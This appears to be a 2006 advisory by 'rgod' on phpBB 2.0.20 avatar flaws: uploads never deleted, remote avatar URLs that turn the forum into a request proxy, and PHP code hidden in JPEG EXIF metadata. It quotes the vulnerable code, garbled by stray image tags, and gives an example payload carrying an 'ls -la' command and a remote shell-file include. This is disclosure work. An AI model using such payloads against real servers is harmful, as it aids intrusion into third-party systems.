PHPBB 2.0.20 persistent issues with avatars

2006.08.31
Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


Ogólna skala CVSS: 5.1/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 4.9/10
Wymagany dostęp: Zdalny
Złożoność ataku: Wysoka
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

PHPBB 2.0.20 multiple issues with avatars some problems persistently lie in the way it handles remote and uploaded avatars: a remote user can: (1) saturate the server with unuseful files, 'cause phpbb do not delete the previous one when you upload a new avatar (2) use PhpBB installations to launch exploits against other servers, using "avatarurl" argument when you modify your profile as path of a GET request. Look usercp_avatar.php near lines 125-153: ... if ( $avatar_mode == 'remote' && preg_match('/^(http://)?([w-.]+):?([0-9]*)/(.*)$/', $avatar_filename, $url_ary) ) { if ( empty($url_ary[4]) ) { $error = true; $error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['Incomplete_URL'] : $lang['Incomplete_URL']; return; } $base_get = '/' . $url_ary[4]; $port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80; if ( !($fsock = <img src="/imgs/at.gif" border=0 align=middle>fsockopen($url_ary[2], $port, $errno, $errstr)) ) { $error = true; $error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['No_connection_URL'] : $lang['No_connection_URL']; return; } <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock, "GET $base_get HTTP/1.1rn"); <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock, "HOST: " . $url_ary[2] . "rn"); <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock, "Connection: closernrn"); unset($avatar_data); while( !<img src="/imgs/at.gif" border=0 align=middle>feof($fsock) ) { $avatar_data .= <img src="/imgs/at.gif" border=0 align=middle>fread($fsock, $board_config['avatar_filesize']); } <img src="/imgs/at.gif" border=0 align=middle>fclose($fsock); ... phpbb do not check if the user supplied value ends with an image extension, neither checks if the supplied string contains "&" and "?" chars. So, you can submit a value like this: http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt phpbb will launch a GET request like this: GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt HTTP/1.0 HOST: some_vulnerable.host Connection: close obviously you have no output, but this makes phpbb to be like a http proxy (3) inject some php code inside jpeg files as EXIF metadata content: this, in combinations with third party vulnerable code can be used to compromise the server where PHP is installed. Should be enough to check for php code inside the temporary files before to copy the new avatar in "images/avatars/" folder. rgod --------------------------------------------------------------------------------- mail: rgod [at] autistici [dot] org site: http://retrogod.altervista.org


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top